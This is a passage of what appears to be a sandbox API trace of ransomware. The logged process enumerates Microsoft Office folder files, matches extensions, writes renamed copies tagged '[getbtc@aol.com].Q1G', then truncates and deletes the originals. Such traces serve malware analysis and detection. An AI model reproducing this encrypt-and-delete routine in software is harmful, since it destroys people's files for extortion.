lpString2="_DLL") returned -1 [0253.816] lstrlenW (lpString=".xls") returned 4 [0253.816] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0253.816] lstrlenW (lpString=".xlsx") returned 5 [0253.817] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0253.817] lstrlenW (lpString=".ppt") returned 4 [0253.817] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0253.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0253.817] lstrlenW (lpString=".zip") returned 4 [0253.817] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0253.817] lstrlenW (lpString=".rar") returned 4 [0253.817] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0253.817] lstrlenW (lpString=".bz2") returned 4 [0253.817] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0253.817] lstrlenW (lpString=".7z") returned 3 [0253.817] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0253.817] lstrlenW (lpString=".dbf") returned 4 [0253.926] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0253.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0253.926] lstrlenW (lpString=".1cd") returned 4 [0253.926] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0253.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.REST.IDX_DLL") returned 69 [0253.926] lstrlenW (lpString=".jpg") returned 4 [0253.926] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0253.926] lstrcmpiW (lpString1=".VSL", lpString2=".Q1G") returned 1 [0253.926] lstrlenW (lpString="SAVASWEB.VSL") returned 12 [0253.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.931] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=48488) returned 1 [0253.931] CloseHandle (hObject=0x390) returned 1 [0253.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl")) returned 0x20 [0253.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.934] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.934] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.935] GetLastError () returned 0x0 [0253.935] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xbd68, lpOverlapped=0x0) returned 1 [0253.938] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xbd70, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xbd70, lpOverlapped=0x0) returned 1 [0253.939] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.939] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.939] SetEndOfFile (hFile=0x3ac) returned 1 [0253.939] CloseHandle (hObject=0x3ac) returned 1 [0253.939] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.939] SetEndOfFile (hFile=0x390) returned 1 [0253.943] CloseHandle (hObject=0x390) returned 1 [0253.943] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl")) returned 1 [0253.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0253.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0253.944] lstrlenW (lpString=".doc") returned 4 [0253.944] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0253.944] lstrlenW (lpString=".docx") returned 5 [0253.944] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0253.944] lstrlenW (lpString=".pdf") returned 4 [0253.944] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0253.944] lstrlenW (lpString=".xls") returned 4 [0253.944] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0253.944] lstrlenW (lpString=".xlsx") returned 5 [0253.944] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0253.944] lstrlenW (lpString=".ppt") returned 4 [0253.944] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0253.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0253.944] lstrlenW (lpString=".zip") returned 4 [0253.944] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0253.944] lstrlenW (lpString=".rar") returned 4 [0253.944] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0253.944] lstrlenW (lpString=".bz2") returned 4 [0253.944] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0253.944] lstrlenW (lpString=".7z") returned 3 [0253.944] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0253.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0253.944] lstrlenW (lpString=".dbf") returned 4 [0253.944] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0253.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0253.944] lstrlenW (lpString=".1cd") returned 4 [0253.944] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0253.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0253.944] lstrlenW (lpString=".jpg") returned 4 [0253.944] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0253.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0253.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0253.944] lstrlenW (lpString=".doc") returned 4 [0253.944] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0253.944] lstrlenW (lpString=".docx") returned 5 [0253.945] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0253.945] lstrlenW (lpString=".pdf") returned 4 [0253.945] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0253.945] lstrlenW (lpString=".xls") returned 4 [0253.945] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0253.945] lstrlenW (lpString=".xlsx") returned 5 [0253.945] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0253.945] lstrlenW (lpString=".ppt") returned 4 [0253.945] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0253.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0253.945] lstrlenW (lpString=".zip") returned 4 [0253.945] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0253.945] lstrlenW (lpString=".rar") returned 4 [0253.945] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0253.945] lstrlenW (lpString=".bz2") returned 4 [0253.945] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0253.945] lstrlenW (lpString=".7z") returned 3 [0253.945] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0253.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0253.945] lstrlenW (lpString=".dbf") returned 4 [0253.945] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0253.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0253.945] lstrlenW (lpString=".1cd") returned 4 [0253.945] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0253.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL") returned 60 [0253.945] lstrlenW (lpString=".jpg") returned 4 [0253.945] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0253.945] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0253.945] lstrlenW (lpString="SETLANG_COL.HXC") returned 15 [0253.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.946] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=631) returned 1 [0253.946] CloseHandle (hObject=0x390) returned 1 [0253.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc")) returned 0x20 [0253.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.946] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.946] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.947] GetLastError () returned 0x0 [0253.947] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x277, lpOverlapped=0x0) returned 1 [0253.949] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0x280, lpOverlapped=0x0) returned 1 [0253.949] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.949] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0253.950] SetEndOfFile (hFile=0x3ac) returned 1 [0253.950] CloseHandle (hObject=0x3ac) returned 1 [0253.950] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.950] SetEndOfFile (hFile=0x390) returned 1 [0253.952] CloseHandle (hObject=0x390) returned 1 [0253.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxc")) returned 1 [0253.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0253.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0253.953] lstrlenW (lpString=".doc") returned 4 [0253.953] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0253.953] lstrlenW (lpString=".docx") returned 5 [0253.953] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0253.953] lstrlenW (lpString=".pdf") returned 4 [0253.953] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0253.953] lstrlenW (lpString=".xls") returned 4 [0253.953] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0253.953] lstrlenW (lpString=".xlsx") returned 5 [0253.953] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0253.953] lstrlenW (lpString=".ppt") returned 4 [0253.953] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0253.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0253.953] lstrlenW (lpString=".zip") returned 4 [0253.953] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0253.953] lstrlenW (lpString=".rar") returned 4 [0253.953] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0253.953] lstrlenW (lpString=".bz2") returned 4 [0253.953] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0253.953] lstrlenW (lpString=".7z") returned 3 [0253.953] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0253.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0253.953] lstrlenW (lpString=".dbf") returned 4 [0253.953] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0253.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0253.953] lstrlenW (lpString=".1cd") returned 4 [0253.953] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0253.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0253.953] lstrlenW (lpString=".jpg") returned 4 [0253.953] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0253.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0253.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0253.953] lstrlenW (lpString=".doc") returned 4 [0253.953] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0253.954] lstrlenW (lpString=".docx") returned 5 [0253.954] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0253.954] lstrlenW (lpString=".pdf") returned 4 [0253.954] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0253.954] lstrlenW (lpString=".xls") returned 4 [0253.954] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0253.954] lstrlenW (lpString=".xlsx") returned 5 [0253.954] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0253.954] lstrlenW (lpString=".ppt") returned 4 [0253.954] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0253.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0253.954] lstrlenW (lpString=".zip") returned 4 [0253.954] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0253.954] lstrlenW (lpString=".rar") returned 4 [0253.954] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0253.954] lstrlenW (lpString=".bz2") returned 4 [0253.954] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0253.954] lstrlenW (lpString=".7z") returned 3 [0253.954] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0253.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0253.954] lstrlenW (lpString=".dbf") returned 4 [0253.954] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0253.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0253.954] lstrlenW (lpString=".1cd") returned 4 [0253.954] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0253.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXC") returned 63 [0253.954] lstrlenW (lpString=".jpg") returned 4 [0253.954] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0253.954] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0253.954] lstrlenW (lpString="SETLANG_COL.HXT") returned 15 [0253.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.955] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x32dff1c | out: lpFileSize=0x32dff1c*=207) returned 1 [0253.955] CloseHandle (hObject=0x390) returned 1 [0253.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt")) returned 0x20 [0253.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0253.955] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.955] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0253.956] GetLastError () returned 0x0 [0253.956] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0xcf, lpOverlapped=0x0) returned 1 [0253.958] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0253.959] ReadFile (in: hFile=0x390, lpBuffer=0x3ec0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesRead=0x32dfed4*=0x0, lpOverlapped=0x0) returned 1 [0253.959] WriteFile (in: hFile=0x3ac, lpBuffer=0x3ec0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x32dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ec0020*, lpNumberOfBytesWritten=0x32dfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0253.959] SetEndOfFile (hFile=0x3ac) returned 1 [0253.960] CloseHandle (hObject=0x3ac) returned 1 [0253.960] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32dfec8 | out: lpNewFilePointer=0x0) returned 1 [0253.960] SetEndOfFile (hFile=0x390) returned 1 [0253.962] CloseHandle (hObject=0x390) returned 1 [0253.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_col.hxt")) returned 1 [0253.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0253.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0253.963] lstrlenW (lpString=".doc") returned 4 [0253.963] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0253.963] lstrlenW (lpString=".docx") returned 5 [0253.963] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0253.963] lstrlenW (lpString=".pdf") returned 4 [0253.963] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0253.963] lstrlenW (lpString=".xls") returned 4 [0253.963] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0253.963] lstrlenW (lpString=".xlsx") returned 5 [0253.963] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0253.963] lstrlenW (lpString=".ppt") returned 4 [0253.963] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0253.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0253.963] lstrlenW (lpString=".zip") returned 4 [0253.963] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0253.963] lstrlenW (lpString=".rar") returned 4 [0253.963] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0253.963] lstrlenW (lpString=".bz2") returned 4 [0253.963] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0253.963] lstrlenW (lpString=".7z") returned 3 [0253.963] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0253.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0253.963] lstrlenW (lpString=".dbf") returned 4 [0253.963] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0253.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0253.963] lstrlenW (lpString=".1cd") returned 4 [0253.963] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0253.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0253.964] lstrlenW (lpString=".jpg") returned 4 [0253.964] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0253.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0253.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0253.964] lstrlenW (lpString=".doc") returned 4 [0253.964] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0253.964] lstrlenW (lpString=".docx") returned 5 [0253.964] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0253.964] lstrlenW (lpString=".pdf") returned 4 [0253.964] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0253.964] lstrlenW (lpString=".xls") returned 4 [0253.964] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0253.964] lstrlenW (lpString=".xlsx") returned 5 [0253.964] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0253.964] lstrlenW (lpString=".ppt") returned 4 [0253.964] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0253.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0253.964] lstrlenW (lpString=".zip") returned 4 [0253.964] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0253.964] lstrlenW (lpString=".rar") returned 4 [0253.964] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0253.964] lstrlenW (lpString=".bz2") returned 4 [0253.964] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0253.964] lstrlenW (lpString=".7z") returned 3 [0253.964] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0253.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0253.964] lstrlenW (lpString=".dbf") returned 4 [0253.964] lstrcmpiW (lpString1=".dbf", 